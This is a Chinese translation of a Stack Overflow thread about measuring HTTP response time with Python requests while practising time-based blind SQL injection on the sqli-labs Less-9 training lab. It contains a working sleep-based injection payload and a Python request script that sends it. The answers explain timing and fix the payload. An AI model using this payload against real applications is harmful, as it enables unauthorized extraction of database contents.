使用Python的requests库测量HTTP响应时间,我的操作正确吗?

12

我正在尝试在Web应用程序的HTTP响应中引入人工延迟(这是一种用于进行盲SQL注入的技术)。如果以下HTTP请求来自浏览器,则来自Web服务器的响应会在3秒钟后返回(由sleep(3)引起):

http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+

我正在尝试使用requests库在Python 2.7中完成相同的操作。我目前的代码如下:

import requests

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip

我预期往返时间为3秒,但实际得到的值是0.001371、0.001616、0.002228等。我没有正确使用elapsed属性吗?

2个回答

26

elapsed用于测量请求发送与解析响应头部(headers)之间的时间,而不是整个响应传输完成的时间。

如果您想要测量整个响应传输所需的时间,您需要自行进行测量:

import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip

如果我说错了,请纠正我:requests.get 是一个阻塞调用,因此拥有 r.content 并不是真正必要的,以“等待完整内容传输”为目的。 - dv3
@dv3,是的,你说得对,除非使用stream=True(默认为False),否则内容将立即下载,否则get()在接收到头文件后返回。 - mata

0

我发现我的有效载荷应该是

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}

原始有效载荷中的最后一个字符“+”被传递到后端数据库,导致无效的SQL语法。 我不应该在有效载荷中进行任何手动编码。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接